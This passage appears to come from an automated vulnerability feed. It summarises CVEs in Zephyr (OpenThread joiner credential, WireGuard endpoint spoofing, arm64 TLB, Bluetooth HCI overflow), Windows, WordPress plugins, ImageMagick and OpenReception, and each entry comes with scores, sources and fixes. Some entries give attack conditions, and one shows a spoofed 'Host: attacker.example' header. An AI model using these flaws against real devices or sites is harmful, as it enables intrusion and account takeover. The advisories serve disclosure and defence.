NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-19741&date=2026-10-25
Zephyr's OpenThread integration defined CONFIG_OPENTHREAD_JOINER_PSKD with default "J01NME" in modules/openthread/Kconfig.thread (previously subsys/net/l2/openthread/Kconfig, then subsys/net/l2/openthread/Kconfig.thread). J01NME is the example Joining Device Credential used throughout the public OpenThread and Thread commissioning documentation, including Zephyr's own samples/net/sockets/echo_client/README.rst, so it is not a secret. A firmware image built with CONFIG_OPENTHREAD_JOINER_AUTOSTART=y that never overrode the PSKd therefore shipped with a publicly known joining credential compiled in, with no build-time or run-time warning.

The PSKd is the only value that authenticates Thread commissioning: joiner and commissioner run a DTLS-PSK handshake keyed on it, after which the commissioner supplies the full operational dataset. In ot_configure_instance() (modules/openthread/openthread.c), a device with no stored dataset calls otJoinerStart() with the configured PSKd, and ot_joiner_start_handler() calls otThreadSetEnabled() on success. An unauthenticated attacker within 802.15.4 radio range of an uncommissioned device (factory-fresh, after a factory reset, or after a settings erase) can run any stock Thread commissioner registered with J01NME, complete the handshake, and hand the device an attacker-controlled operational dataset.

The device then joins and enables Thread on the attacker's mesh. The attacker becomes its router, seeing, dropping, injecting and spoofing all of the device's IPv6 traffic and impersonating the peers the application expects, while the device is cut off from the network it was meant to join and stays mis-provisioned until it is reset. Only application-layer security with independently provisioned credentials survives. Exposure is limited to builds that enable joiner autostart and leave the PSKd unset; the option is not enabled by default and no in-tree sample uses the vulnerable combination.

The fix removes the default from CONFIG_OPENTHREAD_JOINER_PSKD and adds a BUILD_ASSERT() in modules/openthread/openthread.c, active only under CONFIG_OPENTHREAD_JOINER_AUTOSTART, that fails the build unless a 6-to-32-character PSKd is configured. Products should provision a per-device PSKd from factory data and call otJoinerStart() from the application rather than relying on a credential compiled identically into every unit.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The WireGuard VPN service in subsys/net/lib/wireguard/wg.c updated the peer endpoint from a message it could not authenticate.
https://kevwire.com/record/CVE-2026-79977
The WireGuard VPN service in subsys/net/lib/wireguard/wg.c updated the peer endpoint from a message it could not authenticate. (Oct 23, 2026).
The WireGuard VPN service in subsys/net/lib/wireguard/wg.c updated the peer endpoint from a message it could not authenticate. In handle_transport_data(), when the 32-bit receiver index of an incoming transport-data message matched no session, the code both scheduled a new handshake and copied the datagram's source address into peer->endpoint with memcpy(&peer->endpoint, peer_addr, sizeof(peer->endpoint)). Because the receiver index is unknown, there is no key with which such a message could be verified, so the address written into peer->endpoint is entirely attacker-supplied. Every other endpoint update in the implementation happens only after authentication — after the Noise handshake in handle_handshake_init(), or after AEAD decryption plus the anti-replay check in wg_process_data_message().

The WireGuard listener is registered with net_udp_register() using no remote address or port filter and defaults to UDP port 51820 (CONFIG_WIREGUARD_PORT), and wg_ctrl_recv() resolves the peer by interface rather than by any cryptographic identity. Any host able to send a UDP datagram to that port can therefore reach the defect off-path, with no need to observe legitimate traffic: a 16-byte datagram carrying the transport-data type, zeroed reserved bytes and an arbitrary receiver index is sufficient. The vulnerable branch runs whenever the peer has neither a valid handshake nor a current keypair — the state at boot and after a session expires.

A single spoofed datagram redirects peer->endpoint to an address of the attacker's choosing, and all subsequent handshake initiations, keepalives and encrypted data packets are sent there. The legitimate peer never receives the initiations and so never re-authenticates, and nothing resets the endpoint afterwards, leaving the tunnel persistently unusable on devices whose peer does not initiate handshakes itself. The attacker can also relay the redirected initiations to the real peer to place itself in the path of the tunnel, observing ciphertext and traffic metadata and selectively dropping packets. WireGuard's end-to-end cryptography still prevents decryption or forgery of tunnel content, so the impact is loss of availability plus
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79977).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79977&date=2026-10-25).
Sources:
NVD CVE-2026-79977: https://nvd.nist.gov/vuln/detail/CVE-2026-79977
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79977&date=2026-10-25
The WireGuard VPN service in subsys/net/lib/wireguard/wg.c updated the peer endpoint from a message it could not authenticate. In handle_transport_data(), when the 32-bit receiver index of an incoming transport-data message matched no session, the code both scheduled a new handshake and copied the datagram's source address into peer->endpoint with memcpy(&peer->endpoint, peer_addr, sizeof(peer->endpoint)). Because the receiver index is unknown, there is no key with which such a message could be verified, so the address written into peer->endpoint is entirely attacker-supplied. Every other endpoint update in the implementation happens only after authentication — after the Noise handshake in handle_handshake_init(), or after AEAD decryption plus the anti-replay check in wg_process_data_message().

The WireGuard listener is registered with net_udp_register() using no remote address or port filter and defaults to UDP port 51820 (CONFIG_WIREGUARD_PORT), and wg_ctrl_recv() resolves the peer by interface rather than by any cryptographic identity. Any host able to send a UDP datagram to that port can therefore reach the defect off-path, with no need to observe legitimate traffic: a 16-byte datagram carrying the transport-data type, zeroed reserved bytes and an arbitrary receiver index is sufficient. The vulnerable branch runs whenever the peer has neither a valid handshake nor a current keypair — the state at boot and after a session expires.

A single spoofed datagram redirects peer->endpoint to an address of the attacker's choosing, and all subsequent handshake initiations, keepalives and encrypted data packets are sent there. The legitimate peer never receives the initiations and so never re-authenticates, and nothing resets the endpoint afterwards, leaving the tunnel persistently unusable on devices whose peer does not initiate handshakes itself. The attacker can also relay the redirected initiations to the real peer to place itself in the path of the tunnel, observing ciphertext and traffic metadata and selectively dropping packets. WireGuard's end-to-end cryptography still prevents decryption or forgery of tunnel content, so the impact is loss of availability plus limited confidentiality, not key compromise.

The fix removes the endpoint learning from this path entirely: the stale-session recovery is kept, but the handshake is sent only to an endpoint learnt from an authenticated message, falling back to the configured cfg_endpoint, and the message is dropped when neither is known. CONFIG_WIREGUARD is marked experimental and is not enabled by default.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The arm64 MMU backend invalidates a single virtual address from the TLB with invalidate_tlb_page() in arch/arm64/core/mmu.c, which issued TLBI VAE1{IS} with an operand of virt >>...
https://kevwire.com/record/CVE-2026-79979
The arm64 MMU backend invalidates a single virtual address from the TLB with invalidate_tlb_page() in arch/arm64/core/mmu.c, which issued TLBI VAE1{IS} with an operand of virt >>... (Oct 23, 2026).
The arm64 MMU backend invalidates a single virtual address from the TLB with invalidate_tlb_page() in arch/arm64/core/mmu.c, which issued TLBI VAE1{IS} with an operand of virt >> 12. That operand encodes the ASID in bits [63:48], so the invalidation only ever matched ASID 0 (the kernel page tables) and global entries. Memory domains, however, are allocated ASIDs starting at 1 in arch_mem_domain_init(), and every domain-private leaf created by private_map() is mapped with MT_NG, i.e. non-global. A domain's cached translation therefore survived the invalidation.

All callers of invalidate_tlb_page() are demand-paging paths. When the eviction algorithm reclaims a frame, page_frame_prepare_locked() in kernel/mmu.c calls arch_mem_page_out(), which marks the kernel leaf invalid, propagates the invalid descriptor into every domain via sync_domains(), and then flushes only ASID 0. do_page_fault() immediately reuses the very same page frame for the incoming mapping through arch_mem_page_in(). A user thread that had already touched the evicted page — a k_mem_partition added with arch_mem_domain_partition_add(), or its own stack mapped by map_thread_stack() — retains a valid EL0 read/write translation to that physical frame under its own ASID.

Unprivileged code running in a user thread can drive memory pressure to force eviction and then keep accessing the stale address, obtaining read and write access to whatever the kernel subsequently placed in that frame: supervisor data, another memory domain's partition, or another thread's stack. This defeats the isolation that CONFIG_USERSPACE is meant to enforce, allowing information disclosure and memory corruption up to full compromise of the system.

The fix switches the implementation to TLBI VAAE1{IS}, which matches every ASID and both global and non-global entries, so no domain-tagged translation survives a page out, dirty-bit update or access-flag clear. Exploitation requires an arm64 build with both CONFIG_USERSPACE and CONFIG_DEMAND_PAGING enabled, an active backing store, and at least one demand-paged page that is also privately mapped into a user memory domain. The same commit additionally stops globalize_table() from
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79979).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79979&date=2026-10-25).
Sources:
NVD CVE-2026-79979: https://nvd.nist.gov/vuln/detail/CVE-2026-79979
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79979&date=2026-10-25
The arm64 MMU backend invalidates a single virtual address from the TLB with invalidate_tlb_page() in arch/arm64/core/mmu.c, which issued TLBI VAE1{IS} with an operand of virt >> 12. That operand encodes the ASID in bits [63:48], so the invalidation only ever matched ASID 0 (the kernel page tables) and global entries. Memory domains, however, are allocated ASIDs starting at 1 in arch_mem_domain_init(), and every domain-private leaf created by private_map() is mapped with MT_NG, i.e. non-global. A domain's cached translation therefore survived the invalidation.

All callers of invalidate_tlb_page() are demand-paging paths. When the eviction algorithm reclaims a frame, page_frame_prepare_locked() in kernel/mmu.c calls arch_mem_page_out(), which marks the kernel leaf invalid, propagates the invalid descriptor into every domain via sync_domains(), and then flushes only ASID 0. do_page_fault() immediately reuses the very same page frame for the incoming mapping through arch_mem_page_in(). A user thread that had already touched the evicted page — a k_mem_partition added with arch_mem_domain_partition_add(), or its own stack mapped by map_thread_stack() — retains a valid EL0 read/write translation to that physical frame under its own ASID.

Unprivileged code running in a user thread can drive memory pressure to force eviction and then keep accessing the stale address, obtaining read and write access to whatever the kernel subsequently placed in that frame: supervisor data, another memory domain's partition, or another thread's stack. This defeats the isolation that CONFIG_USERSPACE is meant to enforce, allowing information disclosure and memory corruption up to full compromise of the system.

The fix switches the implementation to TLBI VAAE1{IS}, which matches every ASID and both global and non-global entries, so no domain-tagged translation survives a page out, dirty-bit update or access-flag clear. Exploitation requires an arm64 build with both CONFIG_USERSPACE and CONFIG_DEMAND_PAGING enabled, an active backing store, and at least one demand-paged page that is also privately mapped into a user memory domain. The same commit additionally stops globalize_table() from stripping EL0 permission and non-global attributes off domain-private leaves during paging synchronization, which previously caused user threads to lose access to their own partitions and stacks.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Bluetooth HCI USB transport class of the new USB device stack, subsys/usb/device_next/class/bt_hci.c, copies every controller-to-host HCI packet into a USB transfer buffer...
https://kevwire.com/record/CVE-2026-79982
The Bluetooth HCI USB transport class of the new USB device stack, subsys/usb/device_next/class/bt_hci.c, copies every controller-to-host HCI packet into a USB transfer buffer... (Oct 23, 2026).
The Bluetooth HCI USB transport class of the new USB device stack, subsys/usb/device_next/class/bt_hci.c, copies every controller-to-host HCI packet into a USB transfer buffer before enqueuing it on an endpoint. bt_hci_tx_sync_in() allocated that buffer from bt_hci_ep_pool, a fixed pool whose slots are only USBD_MAX_BULK_MPS bytes (64 on full-speed-only builds), and then performed net_buf_add_mem(buf, bt_buf->data, bt_buf->len) with no length check. HCI event and ACL buffers are sized by CONFIG_BT_BUF_EVT_RX_SIZE and CONFIG_BT_BUF_ACL_RX_SIZE and can be far larger, so the copy runs past the end of the 64-byte slot into the adjacent slots and into whatever follows the statically allocated pool.

The device runs the local Bluetooth controller in raw HCI mode (CONFIG_BT_HCI_RAW), so the oversized packets originate over the air. With the HCI buffer sizes recommended for full-featured controllers, an unauthenticated attacker within Bluetooth range can supply the overflowing bytes: a connected peer that negotiates Data Length Extension can send ACL fragments up to CONFIG_BT_CTLR_DATA_LENGTH_MAX bytes, and an attacker that merely broadcasts extended advertising data reaches the same path through LE Extended Advertising Report events, which the controller fragments only to CONFIG_BT_BUF_EVT_RX_SIZE. In the stock configuration the overflow is already reached without any radio traffic: the mandatory Read Supported Commands command-complete event is 70 bytes and overruns the 64-byte slot by six bytes on every host initialization.

Because net_buf_add_mem() validates tailroom only through an assertion unless CONFIG_NET_BUF_HARDENING is enabled, builds with CONFIG_ASSERT=n — the usual production setting — silently corrupt memory adjacent to the USB buffer pool with attacker-chosen contents, which on a target without memory protection between subsystems can lead to arbitrary code execution. Builds with assertions enabled fail the assertion instead and panic, giving a remotely triggerable denial of service. The fix introduces a separate bt_hci_tx_pool sized to MAX(BT_BUF_ACL_RX_SIZE, BT_BUF_EVT_RX_SIZE) for the controller-to-host direction while leaving the host-to-device pool
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79982).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79982&date=2026-10-25).
Sources:
NVD CVE-2026-79982: https://nvd.nist.gov/vuln/detail/CVE-2026-79982
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79982&date=2026-10-25
The Bluetooth HCI USB transport class of the new USB device stack, subsys/usb/device_next/class/bt_hci.c, copies every controller-to-host HCI packet into a USB transfer buffer before enqueuing it on an endpoint. bt_hci_tx_sync_in() allocated that buffer from bt_hci_ep_pool, a fixed pool whose slots are only USBD_MAX_BULK_MPS bytes (64 on full-speed-only builds), and then performed net_buf_add_mem(buf, bt_buf->data, bt_buf->len) with no length check. HCI event and ACL buffers are sized by CONFIG_BT_BUF_EVT_RX_SIZE and CONFIG_BT_BUF_ACL_RX_SIZE and can be far larger, so the copy runs past the end of the 64-byte slot into the adjacent slots and into whatever follows the statically allocated pool.

The device runs the local Bluetooth controller in raw HCI mode (CONFIG_BT_HCI_RAW), so the oversized packets originate over the air. With the HCI buffer sizes recommended for full-featured controllers, an unauthenticated attacker within Bluetooth range can supply the overflowing bytes: a connected peer that negotiates Data Length Extension can send ACL fragments up to CONFIG_BT_CTLR_DATA_LENGTH_MAX bytes, and an attacker that merely broadcasts extended advertising data reaches the same path through LE Extended Advertising Report events, which the controller fragments only to CONFIG_BT_BUF_EVT_RX_SIZE. In the stock configuration the overflow is already reached without any radio traffic: the mandatory Read Supported Commands command-complete event is 70 bytes and overruns the 64-byte slot by six bytes on every host initialization.

Because net_buf_add_mem() validates tailroom only through an assertion unless CONFIG_NET_BUF_HARDENING is enabled, builds with CONFIG_ASSERT=n — the usual production setting — silently corrupt memory adjacent to the USB buffer pool with attacker-chosen contents, which on a target without memory protection between subsystems can lead to arbitrary code execution. Builds with assertions enabled fail the assertion instead and panic, giving a remotely triggerable denial of service. The fix introduces a separate bt_hci_tx_pool sized to MAX(BT_BUF_ACL_RX_SIZE, BT_BUF_EVT_RX_SIZE) for the controller-to-host direction while leaving the host-to-device pool at the endpoint packet size, which is already bounds-checked during reassembly.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83924
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83924).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83924&date=2026-10-25).
Sources:
NVD CVE-2026-83924: https://nvd.nist.gov/vuln/detail/CVE-2026-83924
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83924
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83924&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The asVereinbase  WordPress plugin before 1.1.8 does not require a valid password or a genuine second factor before authenticating a user, treating an empty stored value as a...
https://kevwire.com/record/CVE-2026-110956
The asVereinbase  WordPress plugin before 1.1.8 does not require a valid password or a genuine second factor before authenticating a user, treating an empty stored value as a... (Oct 24, 2026).
The asVereinbase  WordPress plugin before 1.1.8 does not require a valid password or a genuine second factor before authenticating a user, treating an empty stored value as a match, so an unauthenticated attacker can log in as any user, including an administrator.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110956).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110956&date=2026-10-25).
Sources:
NVD CVE-2026-110956: https://nvd.nist.gov/vuln/detail/CVE-2026-110956
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110956&date=2026-10-25
The asVereinbase  WordPress plugin before 1.1.8 does not require a valid password or a genuine second factor before authenticating a user, treating an empty stored value as a match, so an unauthenticated attacker can log in as any user, including an administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Download Monitor WordPress plugin before 5.3.4 does not properly validate that a clicked link belongs to the site before fetching it client-side and rendering part of the...
https://kevwire.com/record/CVE-2026-112207
The Download Monitor WordPress plugin before 5.3.4 does not properly validate that a clicked link belongs to the site before fetching it client-side and rendering part of the... (Oct 24, 2026).
The Download Monitor WordPress plugin before 5.3.4 does not properly validate that a clicked link belongs to the site before fetching it client-side and rendering part of the response in the page, which allows unauthenticated attackers to execute arbitrary JavaScript in the browser of any user who is tricked into clicking a crafted link.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112207).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112207&date=2026-10-25).
Sources:
NVD CVE-2026-112207: https://nvd.nist.gov/vuln/detail/CVE-2026-112207
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112207&date=2026-10-25
The Download Monitor WordPress plugin before 5.3.4 does not properly validate that a clicked link belongs to the site before fetching it client-side and rendering part of the response in the page, which allows unauthenticated attackers to execute arbitrary JavaScript in the browser of any user who is tricked into clicking a crafted link.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The GeoDirectory  WordPress plugin before 2.8.194 does not properly escape administrator-defined text before writing it into a generated PHP file in its own folder, allowing high...
https://kevwire.com/record/CVE-2026-113673
The GeoDirectory  WordPress plugin before 2.8.194 does not properly escape administrator-defined text before writing it into a generated PHP file in its own folder, allowing high... (Oct 24, 2026).
The GeoDirectory  WordPress plugin before 2.8.194 does not properly escape administrator-defined text before writing it into a generated PHP file in its own folder, allowing high privilege users such as a subsite administrator on a multisite network, who cannot otherwise run code, to achieve Remote Code Execution that any unauthenticated visitor can trigger.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113673).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113673&date=2026-10-25).
Sources:
NVD CVE-2026-113673: https://nvd.nist.gov/vuln/detail/CVE-2026-113673
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113673&date=2026-10-25
The GeoDirectory  WordPress plugin before 2.8.194 does not properly escape administrator-defined text before writing it into a generated PHP file in its own folder, allowing high privilege users such as a subsite administrator on a multisite network, who cannot otherwise run code, to achieve Remote Code Execution that any unauthenticated visitor can trigger.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a stack-based buffer overflow in the handling of bzip2 compressed images.
https://kevwire.com/record/CVE-2026-116149
ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a stack-based buffer overflow in the handling of bzip2 compressed images. (Oct 25, 2026).
ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a stack-based buffer overflow in the handling of bzip2 compressed images. Attackers can supply a crafted image using bzip2 compression to overwrite stack memory during decoding, causing crashes or memory corruption.
CVSS 7.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116149).
Sources:
NVD CVE-2026-116149: https://nvd.nist.gov/vuln/detail/CVE-2026-116149
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
ImageMagick before 6.9.13-58 and 7.x before 7.1.2-33 contains a stack-based buffer overflow in the handling of bzip2 compressed images. Attackers can supply a crafted image using bzip2 compression to overwrite stack memory during decoding, causing crashes or memory corruption.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform.
https://kevwire.com/record/CVE-2026-58202
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. (Oct 23, 2026).
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to version 2.0.0, the account-confirmation link in emails is built from the request Host header, with no allowlist. The unauthenticated POST /api/auth/resend-confirmation rotates a pending invitee's confirmation token and emails a link whose host comes from the request. An attacker who sends one resend-confirmation with Host: attacker.example and a pending invitee's email causes that invitee to receive a confirmation email whose only link points to the attacker. If the invitee clicks, the one-time confirmation token reaches the attacker, who then confirms the account on the real tenant domain and registers a passkey they control, taking over the account before the legitimate invitee ever uses it. All released versions through v1.1.0 are affected; no patched version exists yet. Reaching the app with a spoofed Host depends on the front proxy: the stock Caddy catch-all forwards it, while an operator who configures explicit per-tenant proxy blocks is not affected (see Details 4). The invite path builds links from the trusted tenant.domain (invite/+server.ts:204-210); the resend-confirmation path builds them from the request Host. This issue has been patched in version 2.0.0.
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-58202).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-58202&date=2026-10-25).
Sources:
NVD CVE-2026-58202: https://nvd.nist.gov/vuln/detail/CVE-2026-58202
